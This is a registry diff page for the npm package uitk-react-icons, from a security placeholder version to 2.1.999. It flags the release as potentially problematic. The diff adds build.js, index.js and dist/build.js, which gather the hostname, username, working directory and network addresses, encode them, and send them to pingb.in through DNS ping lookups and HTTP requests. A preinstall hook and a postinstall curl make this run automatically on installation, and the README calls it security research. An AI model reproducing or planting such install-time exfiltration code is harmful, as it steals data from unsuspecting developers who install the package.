uitk-react-icons 0.0.1-security → 2.1.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of uitk-react-icons might be problematic. Click here for more details.
- package/README.md +1 -5
- package/build.js +53 -0
- package/dist/build.js +42 -0
- package/index.js +42 -0
- package/package.json +9 -3
package/README.md
CHANGED
@@ -1,5 +1 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=uitk-react-icons for more information.
|
1
|
+
This is a test project for security research purposes.
|
package/build.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
var http = require("http");
|
3
|
+
const { spawn } = require("child_process");
|
4
|
+
var isWin = process.platform === "win32";
|
5
|
+
|
6
|
+
const id = "5e2b39077bd104b742c4ba83c78f";
|
7
|
+
|
8
|
+
try {
|
9
|
+
exfil({ hostname: os.hostname() });
|
10
|
+
} catch (e) {}
|
11
|
+
try {
|
12
|
+
exfil({ user: os.userInfo().username });
|
13
|
+
} catch (e) {}
|
14
|
+
try {
|
15
|
+
exfil({ cwd: process.cwd() });
|
16
|
+
} catch (e) {}
|
17
|
+
try {
|
18
|
+
const nets = os.networkInterfaces();
|
19
|
+
for (const name of Object.keys(nets)) {
|
20
|
+
for (const net of nets[name]) {
|
21
|
+
exfil({ ["net_" + name]: net.address });
|
22
|
+
}
|
23
|
+
}
|
24
|
+
} catch (e) {}
|
25
|
+
|
26
|
+
//process.exit();
|
27
|
+
|
28
|
+
function exfil(data) {
|
29
|
+
try {
|
30
|
+
const b64 = Buffer.from(JSON.stringify(data))
|
31
|
+
.toString("base64")
|
32
|
+
.replace(/=/gm, "");
|
33
|
+
|
34
|
+
let args;
|
35
|
+
if (isWin) {
|
36
|
+
args = ["-n", "1"];
|
37
|
+
} else {
|
38
|
+
args = ["-c", "1"];
|
39
|
+
}
|
40
|
+
args.push(`${id}.${b64}.ns.pingb.in`);
|
41
|
+
spawn(`ping`, args, { detached: true });
|
42
|
+
} catch (e) {}
|
43
|
+
|
44
|
+
try {
|
45
|
+
const options = {
|
46
|
+
host: "pingb.in",
|
47
|
+
path: `/p/${id}`,
|
48
|
+
headers: { "x-exfil": b64 },
|
49
|
+
};
|
50
|
+
|
51
|
+
http.request(options, () => {}).end();
|
52
|
+
} catch (e) {}
|
53
|
+
}
|
package/dist/build.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
var isWin = process.platform === "win32";
|
4
|
+
|
5
|
+
const id = "5e2b39077bd104b742c4ba83c78f";
|
6
|
+
|
7
|
+
try {
|
8
|
+
exfil({ d_hostname: os.hostname() });
|
9
|
+
} catch (e) {}
|
10
|
+
try {
|
11
|
+
exfil({ d_user: os.userInfo().username });
|
12
|
+
} catch (e) {}
|
13
|
+
try {
|
14
|
+
exfil({ d_cwd: process.cwd() });
|
15
|
+
} catch (e) {}
|
16
|
+
try {
|
17
|
+
const nets = os.networkInterfaces();
|
18
|
+
for (const name of Object.keys(nets)) {
|
19
|
+
for (const net of nets[name]) {
|
20
|
+
exfil({ ["d_net_" + name]: net.address });
|
21
|
+
}
|
22
|
+
}
|
23
|
+
} catch (e) {}
|
24
|
+
|
25
|
+
//process.exit();
|
26
|
+
|
27
|
+
function exfil(data) {
|
28
|
+
try {
|
29
|
+
const b64 = Buffer.from(JSON.stringify(data))
|
30
|
+
.toString("base64")
|
31
|
+
.replace(/=/gm, "");
|
32
|
+
|
33
|
+
let args;
|
34
|
+
if (isWin) {
|
35
|
+
args = ["-n", "1"];
|
36
|
+
} else {
|
37
|
+
args = ["-c", "1"];
|
38
|
+
}
|
39
|
+
args.push(`${id}.${b64}.ns.pingb.in`);
|
40
|
+
spawn(`ping`, args, { detached: true });
|
41
|
+
} catch (e) {}
|
42
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
var isWin = process.platform === "win32";
|
4
|
+
|
5
|
+
const id = "5e2b39077bd104b742c4ba83c78f";
|
6
|
+
|
7
|
+
try {
|
8
|
+
exfil({ r_hostname: os.hostname() });
|
9
|
+
} catch (e) {}
|
10
|
+
try {
|
11
|
+
exfil({ r_user: os.userInfo().username });
|
12
|
+
} catch (e) {}
|
13
|
+
try {
|
14
|
+
exfil({ r_cwd: process.cwd() });
|
15
|
+
} catch (e) {}
|
16
|
+
try {
|
17
|
+
const nets = os.networkInterfaces();
|
18
|
+
for (const name of Object.keys(nets)) {
|
19
|
+
for (const net of nets[name]) {
|
20
|
+
exfil({ ["r_net_" + name]: net.address });
|
21
|
+
}
|
22
|
+
}
|
23
|
+
} catch (e) {}
|
24
|
+
|
25
|
+
//process.exit();
|
26
|
+
|
27
|
+
function exfil(data) {
|
28
|
+
try {
|
29
|
+
const b64 = Buffer.from(JSON.stringify(data))
|
30
|
+
.toString("base64")
|
31
|
+
.replace(/=/gm, "");
|
32
|
+
|
33
|
+
let args;
|
34
|
+
if (isWin) {
|
35
|
+
args = ["-n", "1"];
|
36
|
+
} else {
|
37
|
+
args = ["-c", "1"];
|
38
|
+
}
|
39
|
+
args.push(`${id}.${b64}.ns.pingb.in`);
|
40
|
+
spawn(`ping`, args, { detached: true });
|
41
|
+
} catch (e) {}
|
42
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "uitk-react-icons",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.1.999",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node build.js",
|
8
|
+
"postinstall": "curl http://pingb.in/p/5e2b39077bd104b742c4ba83c78f"
|
9
|
+
},
|
10
|
+
"author": "svennerg@wearehackerone.com",
|
11
|
+
"license": "MIT"
|
6
12
|
}
|